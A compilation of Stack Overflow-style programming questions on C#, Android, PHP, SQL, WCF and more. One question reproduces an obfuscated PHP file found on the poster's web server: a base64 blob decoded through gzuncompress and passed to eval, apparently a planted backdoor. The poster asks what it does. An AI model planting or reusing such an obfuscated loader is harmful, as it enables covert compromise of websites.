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• Software usage analytics in C#

  - by TiernanO

  I have a project i am working on currently and would like to implement some sort of software tracking in the code. ideally, stuff like how often its launched. how long it runs for, feature tracking, etc. I already use Exceptioneer for unhandled exceptions, but would like something similar for usage tracking. this data should all be anonymous and ideally run as a service by someone else. and i would like to give the users the option to turn it off, if they so wish to... So, is this something i should implement myself, or are there third parties out there that do this sort of things? i know it might be a sticky area, but i have seen stats about iPhone app usage. they do it, so why cant we? (if the user agrees, of course) [Update] Based on the comments, i should have been more clear. this is a Winforms .NET 4. application, though i am thinking of updating it later with WCF. i would only be tracking my own application, though i would also want to know minor information about environment (Windows OS Version, SP, maybe proc and ram...)

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• Large scale Merge Replication strategy - what can go wrong?

  - by niidto

  Hi, I'm developing a piece of software that uses Merge Replication and SQL Compact on Windows Mobile 6. At the moment it is running on 5 devices reasonably well. The issues I've come up against are as follows: The schema has had to change a lot, and will continue to have to change as the application evolves. There have been various errors replicating these schema changes down to the device, uploads failing due to schema inconsistencies. Subscriptions expiring (after 14 days) and unable to reinitialize with upload - AKA, potential data los of unsynced data up to that point. Basically, the worst case scenario is data loss, and when merge replication fails, there seems to be no way back to get the data off. My method until now has been to drop and create the subscription on the device. I don't hear many people doing this, though it seems to solve everything. The long term plan is to role this out to 500+ devices. Any advice on people who have undertaken similar projects, and how to minimise data loss and make it so that there's appropriate error handling code to recover from sync failures would be much appreciated. James

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• Basic problems (type inference or something else?) in Objective-C/Cocoa.

  - by Matt

  Hi, Apologies for how basic these questions are to some. Just started learning Cocoa, working through Hillegass' book, and am trying to write my first program (a GUI Cocoa app that counts the number of characters in a string). I tried this: NSString *string = [textField stringValue]; NSUInteger *stringLength = [string length]; NSString *countString = (@"There are %u characters",stringLength); [label setStringValue:countString]; But I'm getting errors like: Incompatible pointer conversion initializing 'NSUInteger' (aka 'unsigned long'), expected 'NSUInteger *'[-pedantic] for the first line, and this for the second line: Incompatible pointer types initializing 'NSUInteger *', expected 'NSString *' [-pedantic] I did try this first, but it didn't work either: [label setStringValue:[NSString stringWithFormat:@"There are %u characters",[[textField stringValue] length]]] On a similar note, I've only written in easy scripting languages before now, and I'm not sure when I should be allocing/initing objects and when I shouldn't. For example, when is it okay to do this: NSString *myString = @"foo"; or int *length = 5; instead of this: NSString *myString = [[NSString alloc] initWithString:"foo"]; And which ones should I be putting into the header files? I did check Apple's documentation, and CocoaDev, and the book I'm working for but without luck. Maybe I'm looking in the wrong places.. Thanks to anyone who takes the time to reply this: it's appreciated, and thanks for being patient with a beginner. We all start somewhere. EDIT Okay, I tried the following again: [label setStringValue:[NSString stringWithFormat:@"There are %u characters",[[textField stringValue] length]]] And it actually worked this time. Not sure why it didn't the first time, though I think I might have typed %d instead of %u by mistake. However I still don't understand why the code I posted at the top of my original post doesn't work, and I have no idea what the errors mean, and I'd very much like to know because it seems like I'm missing something important there.

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• How to combine apache requests?

  - by Bruce

  To give you the situation in abstract: I have an ajax client that often needs to retrieve 3-10 static documents from the server. Those 3-10 documents are selected by the client out of about 100 documents in total. I have no way of knowing in advance which 3-10 documents the client will require. Additionally, those 100 documents are generated from database content, and so change over time. It seems messy to me to have to make 10 ajax requests for 10 separate documents. My first thought was to write a jsp that could use the include action. ie in pseudo code for (param in params){ jsp:include page="[param]" } But it turns out the tomcat doesn't just include the html resource, it recompiles it, generating a class file every time, which also seems wasteful. Does any one know of a neat solution for combining apache requests to static files to make one request, rather than several, but without the overhead of, for example, tomcat generating extra class files for each static file and regenerating them each time the static file changes? Thanks! Hopefully my question is clear - it's a bit long-winded.

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• retrieve image from gallery in android

  - by smsys

  I have created an Activity where i have a Button. By pressing the button an android Gallery opens. When i choose an image from the gallery it is shows it in an ImageView of my Activity but after choosing second time the following error occuring 01-13 17:55:25.323: ERROR/AndroidRuntime(14899): java.lang.OutOfMemoryError: bitmap size exceeds VM budget Here is the source code i am using: public class MyImage extends Activity { /** Called when the activity is first created. */ Gallery gallery; private Uri[] mUrls; String[] mFiles=null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); File images = Environment.getDataDirectory(); File[] imagelist = images.listFiles(); mFiles = new String[imagelist.length]; for(int i= 0 ; i< imagelist.length; i++) { mFiles[i] = imagelist[i].getAbsolutePath(); } mUrls = new Uri[mFiles.length]; for(int i=0; i < mFiles.length; i++) { mUrls[i] = Uri.parse(mFiles[i]); } Gallery g = (Gallery) findViewById(R.id.Gallery01); g.setAdapter(new ImageAdapter(this)); g.setFadingEdgeLength(40); } public class ImageAdapter extends BaseAdapter{ int mGalleryItemBackground; public ImageAdapter(Context c) { mContext = c; } public int getCount(){ return mUrls.length; } public Object getItem(int position){ return position; } public long getItemId(int position) { return position; } public View getView(int position, View convertView, ViewGroup parent){ ImageView i = new ImageView(mContext); i.setImageURI(mUrls[position]); i.setScaleType(ImageView.ScaleType.FIT_XY); i.setLayoutParams(new Gallery.LayoutParams(260, 210)); return i; } private Context mContext; } }

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• Parallel processing from a command queue on Linux (bash, python, ruby... whatever)

  - by mlambie

  I have a list/queue of 200 commands that I need to run in a shell on a Linux server. I only want to have a maximum of 10 processes running (from the queue) at once. Some processes will take a few seconds to complete, other processes will take much longer. When a process finishes I want the next command to be "popped" from the queue and executed. Does anyone have code to solve this problem? Further elaboration: There's 200 pieces of work that need to be done, in a queue of some sort. I want to have at most 10 pieces of work going on at once. When a thread finishes a piece of work it should ask the queue for the next piece of work. If there's no more work in the queue, the thread should die. When all the threads have died it means all the work has been done. The actual problem I'm trying to solve is using imapsync to synchronize 200 mailboxes from an old mail server to a new mail server. Some users have large mailboxes and take a long time tto sync, others have very small mailboxes and sync quickly.

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• Setting up padding for websites in mobile devices

  - by ambrelasweb

  I had finished this website a while ago but something happened to it and I've now spent all day fixing it and getting it back from scratch as my backup wasn't correctly done. I don't quite understand what it's doing as I've done this technique on many other websites with no troubles, maybe I've looked at this website too long? Here is the website. I'm wanting to put some space on the left and right hand side, however I dont just have one container as I was needing the dark grey bar at 100% of the screen and always under the banner no matter where it was. So there are 4 "containing" divs that I want to have the space. I've placed soem CSS3 media queries in but now I'm getting a gap to the right. I was thinking it was because my background mages are going all the way across but they set at 100% so I'm just not understanding whats going on. It's somethign simple, I'm not seeing it right now.. This is what I have for the media queries /* Smartphones (portrait and landscape) ----------- */ @media only screen and (min-device-width : 320px) and (max-device-width : 480px) { #header, #banner, #main, #footer-widget-area { padding: 0 2em 0 2em; } } This is what t looks like on my iPhone Any advice is helpful and appreciated.

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• Copy only files that are newer

  - by ErocM

  I am currently using this code: if (!Directory.Exists(command2)) Directory.CreateDirectory(command2); if (Directory.Exists(vmdaydir)) Directory.Delete(vmdaydir,true); if (!Directory.Exists(vmdaydir)) Directory.CreateDirectory(vmdaydir); var dir = Path.GetDirectoryName(args[0]); sb.AppendLine("Backing Up VM: " + DateTime.Now.ToString(CultureInfo.InvariantCulture)); Microsoft.VisualBasic.FileIO.FileSystem.CopyDirectory(dir, vmdaydir); sb.AppendLine("VM Backed Up: " + DateTime.Now.ToString(CultureInfo.InvariantCulture)); As you can see, I am deleting the directory, then I am copying the folder back. This is taking way to long since the directory is ~80gb in size. I realized that I do not need to copy all the files, only the ones that have changed. How would I copy the files from one folder to another but only copying the files that are newer? Anyone have any suggestions? ==== edit ==== I assume I can just do a file compare of each file and then copy it to the new directory, iterating through each folder/file? Is there a simpler way to do this?

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• Weird PHP file on my website

  - by sam

  Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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• Do I need to Salt and Hash a randomly generated token?

  - by wag2639

  I'm using Adam Griffiths's Authentication Library for CodeIgniter and I'm tweaking the usermodel. I came across a generate function that he uses to generate tokens. His preferred approach is to reference a value from random.org but I considered that superfluous. I'm using his fall back approach of randomly generating a 20 character long string: $length = 20; $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $token = ''; for ($i = 0; $i < $length; $i++) { $token .= $characters[mt_rand(0, strlen($characters)-1)]; } He then hashes this token using a salt (I'm combing code from different functions) sha1($this->CI->config->item('encryption_key').$str); I was wondering if theres any reason to to run the token through the salted hash? I've read that simply randomly generating strings was a naive way of making random passwords but is the sh1 hash and salt necessary? Note: I got my encryption_key from https://www.grc.com/passwords.htm (63 random alpha-numeric)

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• Which OpenGL functions are not GPU-accelerated?

  - by Xavier Ho

  I was shocked when I read this (from the OpenGL wiki): glTranslate, glRotate, glScale Are these hardware accelerated? No, there are no known GPUs that execute this. The driver computes the matrix on the CPU and uploads it to the GPU. All the other matrix operations are done on the CPU as well : glPushMatrix, glPopMatrix, glLoadIdentity, glFrustum, glOrtho. This is the reason why these functions are considered deprecated in GL 3.0. You should have your own math library, build your own matrix, upload your matrix to the shader. For a very, very long time I thought most of the OpenGL functions use the GPU to do computation. I'm not sure if this is a common misconception, but after a while of thinking, this makes sense. Old OpenGL functions (2.x and older) are really not suitable for real-world applications, due to too many state switches. This makes me realise that, possibly, many OpenGL functions do not use the GPU at all. So, the question is: Which OpenGL function calls don't use the GPU? I believe knowing the answer to the above question would help me become a better programmer with OpenGL. Please do share some of your insights.

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• WCF - "Encountered unexpected character 'c'."

  - by Villager

  Hello, I am trying to do something that I thought would be simple. I need to create a WCF service that I can post to via JQuery. I have an operation in my WCF service that is defined as follows: [OperationContract] [WebInvoke(Method = "POST", BodyStyle = WebMessageBodyStyle.WrappedRequest, RequestFormat=WebMessageFormat.Json, ResponseFormat=WebMessageFormat.Json)] public string SendMessage(string message, int urgency) { try { // Do stuff return "1"; // 1 represents success } catch (Exception) { return "0"; } } I then try to access this operation from an ASP.NET page via JQuery. My JQuery code to access this operation looks like the following: function sendMessage(message) { $.ajax({ url: "/resources/services/myService.svc/SendMessage", type: "POST", contentType: "application/json; charset=utf-8", data: ({ message: message, urgency: '1' }), dataType: "json", success: function (data) { alert("here!"); }, error: function (req, msg, obj) { alert("error: " + req.responseText); } }); } When I execute this script, the error handler is tripped. In it, I receive an error that says: "Encountered unexpected character 'c'." This message is included with a long stack trace. My question is, what am I doing wrong? I have received other posts such as this one (http://stackoverflow.com/questions/320291/how-to-post-an-array-of-complex-objects-with-json-jquery-to-asp-net-mvc-controll) without any luck. How do I get this basic interaction working? Thank you!

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• Table index design

  - by Swoosh

  I would like to add index(s) to my table. I am looking for general ideas how to add more indexes to a table. Other than the PK clustered. I would like to know what to look for when I am doing this. So, my example: This table (let's call it TASK table) is going to be the biggest table of the whole application. Expecting millions records. IMPORTANT: massive bulk-insert is adding data in this table table has 27 columns: (so far, and counting :D ) int x 9 columns = id-s varchar x 10 columns bit x 2 columns datetime x 5 columns INT COLUMNS all of these are INT ID-s but from tables that are usually smaller than Task table (10-50 records max), example: Status table (with values like "open", "closed") or Priority table (with values like "important", "not so important", "normal") there is also a column like "parent-ID" (self - ID) join: all the "small" tables have PK, the usual way ... clustered STRING COLUMNS there is a (Company) column (string!) that is something like "5 characters long all the time" and every user will be restricted using this one. If in Task there are 15 different "Companies" the logged in user would only see one. So there's always a filter on this one. Might be a good idea to add an index to this column? DATE COLUMNS I think they don't index these ... right? Or can / should be?

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• Code Contracts: Do we have to specify Contract.Requires(...) statements redundantly in delegating me

  - by herzmeister der welten

  I'm intending to use the new .NET 4 Code Contracts feature for future development. This made me wonder if we have to specify equivalent Contract.Requires(...) statements redundantly in a chain of methods. I think a code example is worth a thousand words: public bool CrushGodzilla(string weapon, int velocity) { Contract.Requires(weapon != null); // long code return false; } public bool CrushGodzilla(string weapon) { Contract.Requires(weapon != null); // specify contract requirement here // as well??? return this.CrushGodzilla(weapon, int.MaxValue); } For runtime checking it doesn't matter much, as we will eventually always hit the requirement check, and we will get an error if it fails. However, is it considered bad practice when we don't specify the contract requirement here in the second overload again? Also, there will be the feature of compile time checking, and possibly also design time checking of code contracts. It seems it's not yet available for C# in Visual Studio 2010, but I think there are some languages like Spec# that already do. These engines will probably give us hints when we write code to call such a method and our argument currently can or will be null. So I wonder if these engines will always analyze a call stack until they find a method with a contract that is currently not satisfied? Furthermore, here I learned about the difference between Contract.Requires(...) and Contract.Assume(...). I suppose that difference is also to consider in the context of this question then?

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• How to parse multiple dates from a block of text in Python (or another language)

  - by mlissner

  I have a string that has several date values in it, and I want to parse them all out. The string is natural language, so the best thing I've found so far is dateutil. Unfortunately, if a string has multiple date values in it, dateutil throws an error: >>> s = "I like peas on 2011-04-23, and I also like them on easter and my birthday, the 29th of July, 1928" >>> parse(s, fuzzy=True) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/pymodules/python2.7/dateutil/parser.py", line 697, in parse return DEFAULTPARSER.parse(timestr, **kwargs) File "/usr/lib/pymodules/python2.7/dateutil/parser.py", line 303, in parse raise ValueError, "unknown string format" ValueError: unknown string format Any thoughts on how to parse all dates from a long string? Ideally, a list would be created, but I can handle that myself if I need to. I'm using Python, but at this point, other languages are probably OK, if they get the job done. PS - I guess I could recursively split the input file in the middle and try, try again until it works, but it's a hell of a hack.

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• Android ProgressDialog inside another dialog

  - by La bla bla

  I'm working on a game using AndEngine, and I need to show the users the list of his Facebook friends. I've created my custom Adatper and after the loading finishes everything works great. I have a problem with the loading it self. The ListView is inside a custom dialog, since I don't really know how to create one using AndEngine, So inside this dialog, I'm running an AsyncTask to fetch the friends' info, in that AsyncTask I'm have a ProgressDialog. The problem is, the ProgressDialog shows up behind the dialog that contains the to-be list (which while loading, is just the title). I can see the ProgressDialog "peeking" behind that dialog.. Any Ideas? Here's some code: FriendsDialog.java private ProgressDialog dialog; //Constructor of the AsyncTask public FriendsLoader(Context context) { dialog = new ProgressDialog(context); dialog.setMessage("Please wait..\nLoading Friends List."); } @Override protected void onPreExecute() { dialog.requestWindowFeature(Window.FEATURE_NO_TITLE); LayoutInflater inflater = (LayoutInflater)context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); dialog.setView(inflater.inflate(R.layout.loading, null)); dialog.setMessage("Please wait..\nLoading friends."); dialog.show(); } @Override protected void onPostExecute(ArrayList<HashMap<String, Object>> data) { if (dialog.isShowing()) { dialog.dismiss(); } MyAdapter myAdapter = new MyAdapter(context, data); listView = (ListView) findViewById(R.id.list); listView.setAdapter(myAdapter); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> myAdapter, View myView, int myItemInt, long mylng) { String id = (String) listView.getItemAtPosition(myItemInt); listener.onUserSelected(id); dismiss(); } }); }

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• Standard term for a thread I/O reorder buffer?

  - by Crashworks

  I have a case where many threads all concurrently generate data that is ultimately written to one long, serial file. I need to somehow serialize these writes so that the file gets written in the right order. ie, I have an input queue of 2048 jobs j0..jn, each of which produces a chunk of data oi. The jobs run in parallel on, say, eight threads, but the output blocks have to appear in the file in the same order as the corresponding input blocks — the output file has to be in the order o0o1o2... The solution to this is pretty self evident: I need some kind of buffer that accumulates and writes the output blocks in the correct order, similar to a CPU reorder buffer in Tomasulo's algorithm, or to the way that TCP reassembles out-of-order packets before passing them to the application layer. Before I go code it, I'd like to do a quick literature search to see if there are any papers that have solved this problem in a particularly clever or efficient way, since I have severe realtime and memory constraints. I can't seem to find any papers describing this though; a Scholar search on every permutation of [threads, concurrent, reorder buffer, reassembly, io, serialize] hasn't yielded anything useful. I feel like I must just not be searching the right terms. Is there a common academic name or keyword for this kind of pattern that I can search on?

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• Pagination in Joomla!

  I'm a bit new to Joomla! and I'm building my new web site using Joomla! 1.5.8 with a template bought from RocketTheme. The long article in question is a gallery of photos, and I wanted to create a horizontal pagination nav-bar in the footer of the gallery, I just clicked pagebreak where I wanted to paginate in my article in the WYSIWYG editor and thought that it's actually all I have to do. What I got was ugly; a vertically directed navigation bar placed in the top right side of my gallery with the links to each part of the article, the all without the minimum styling. And as I see it's a table! Why not outputting a list instead of a table! (Well this is not actually my concern right now). I can understand CSS and html, but I'm not really a PHP guy, so I don't understand how to use pagination.php or pagenavigation.php! Do I have to customize one of them to have my nav-bar? What I have to do to get that horizontal nav-bar? Really thanks in advance. Wassim

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• Is it legal to take sealed .NET framework class source and extend it?

  - by Giedrius

  To be short, I'm giving very specific example, but I'm interested in general situation. There is a FtpWebRequest class in .NET framework and it is missing some of new FTP operations, like MFCT. It is ok in a sense that this operation is still in draft mode, but it is not ok in a sense, that FtpWebRequest is sealed and there's no other way (at least I don't see it) to extend it with this new operation. Easiest way to do it would be take FtpWebRequest class source from .NET reference sources and extend it, in such way will be kept all the consistence in naming, implementation, etc. Question is how much legal it is? I won't sell this class as a product, I can publish my changes on web - nothing to hide here. If it is not legal, can I take this class source from mono and include in native .net project? Did you had similar case and how you solved it? Update: as long as extension method is offered, I'm pasting source from .NET framework which should show that extension methods are not the solution. So there's a property Method, where you can pass FTP command: public override string Method { get { return m_MethodInfo.Method; } set { if (String.IsNullOrEmpty(value)) { throw new ArgumentException(SR.GetString(SR.net_ftp_invalid_method_name), "value"); } if (InUse) { throw new InvalidOperationException(SR.GetString(SR.net_reqsubmitted)); } try { m_MethodInfo = FtpMethodInfo.GetMethodInfo(value); } catch (ArgumentException) { throw new ArgumentException(SR.GetString(SR.net_ftp_unsupported_method), "value"); } } } As you can see there FtpMethodInfo.GetMethodInfo(value) call in setter, which basically validates value against internal enum static array. Update 2: Checked mono implementation and it is not exact replica of native code + it does not implement some of the things.

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• What is the best way to find a processed memory allocations in terms of C# objects

  - by Shantaram

  I have written various C# console based applications, some of them long running some not, which can over time have a large memory foot print. When looking at the windows perofrmance monitor via the task manager, the same question keeps cropping up in my mind; how do I get a break down of the number objects by type that are contributing to this footprint; and which of those are f-reachable and those which aren't and hence can be collected. On numerous occasions I've performed a code inspection to ensure that I am not unnecessarily holding on objects longer than required and disposing of objects with the using construct. I have also recently looked at employing the CG.Collect method when I have released a large number of objects (for example held in a collection which has just been cleared). However, I am not so sure that this made that much difference, so I threw that code away. I am guessing that there are tools in sysinternals suite than can help to resolve these memory type quiestions but I am not sure which and how to use them. The alternative would be to pay for a third party profiling tool such as JetBrains dotTrace; but I need to make sure that I've explored the free options first before going cap in hand to my manager.

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• Compromising design & code quality to integrate with existing modules

  - by filip-fku

  Greetings! I inherited a C#.NET application I have been extending and improving for a while now. Overall it was obviously a rush-job (or whoever wrote it was seemingly less competent than myself). The app pulls some data from an embedded device & displays and manipulates it. At the core is a communications thread in the main application form which executes a 600+ lines of code method which calls functions all over the place, implementing a state machine - lots of if-state-then-do type code. Interaction with the device is done by setting the state/mode globally and letting the thread do it's thing. (This is just one example of the badness of the code - overall it is not very OO-like, it reminds of the style of embedded C code the device firmware is written in). My problem is that this piece of code is central to the application. The software, communications protocol or device firmware are not documented at all. Obviously to carry on with my work I have to interact with this code. What I would like some guidance on, is whether it is worth scrapping this code & trying to piece together something more reasonable from the information I can reverse engineer? I can't decide! The reason I don't want to refactor is because the code already works, and changing it will surely be a long, laborious and unpleasant task. On the flip side, not refactoring means I have to sometimes compromise the design of other modules so that I may call my code from this state machine! I've heard of "If it ain't broke don't fix it!", so I am wondering if it should apply when "it" is influencing the design of future code! Any advice would be appreciated! Thanks!

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• application specific seed data population

  - by user339108

  Env: JBoss, (h2, MySQl, postgres), JPA, Hibernate 3.3.x @Id @GeneratedValue(strategy = IDENTITY) private Integer key; Currently our primary keys are created using the above annotation. We expect to support a large number of users (~million users), what key should be used. Should it be Integer or Long or should I use the unsigned versions of the above declarations. We have a j2ee application which needs to be populated with some seed data on installation. On purchase, the customer creates his own data on top of the application. We just want to make sure that there is enough room to ship, modify or add data for future releases. What would be the best mechanism to support this, we had looked at starting all table identifiers from a certain id (say 1000) but this mandates modifying primary key generation to have table or sequence based generators and we have around ~100 tables. We are not sure if this is the right strategy for this. If we use a signed integer approach for the key, would it make sense to have the seed data as everything starting from 0 and below (i.e -ve numbers), so that all customer specific data will be available on 0 and above (i.e. +ve numbers)

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• visual studio 2008 (VB)

  - by Ousman

  hello guys, Am writing a programming with visual basic 2008 and i want the programme to be able to read and loop through a text file line by line and showing the event of the loop on a textbox or label until a button is press and the loop will stop on any number that happend to be at the loop event and when a button is press again the loop will continue from where it starts. this is my codes below and having problem with it and any help will be really great. tanks ==========================my codes======================= Imports System.IO '========================================================================================== Public Class Form1 '====================================================================================== 'Dim nFileNum As Integer = FreeFile() ' Get a free file number Dim strFileName As String = "C:\scb.txt" Dim objFilename As FileStream = New FileStream(strFileName, FileMode.Open, FileAccess.Read, FileShare.Read) Dim objFileRead As StreamReader = New StreamReader(objFilename) 'Dim lLineCount As Long 'Dim sNextLine As String '====================================================================================== '======================================================================================== Private Sub btStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btStart.Click Try If objFileRead.ReadLine = Nothing Then MsgBox("No Accounts Available to show!", MsgBoxStyle.Information, MsgBoxStyle.DefaultButton2 = MsgBoxStyle.OkOnly) Return Else Do While (objFileRead.Peek() > -1) Loop lblAccounts.Text = objFileRead.ReadLine() 'objFileRead.Close() 'objFilename.Close() End If Catch ex As Exception MessageBox.Show(ex.Message) Finally 'objFileRead.Close() 'objFilename.Close() End Try End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub End Class

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• Quick questions re moving to InfoPath forms

  - by sweissman

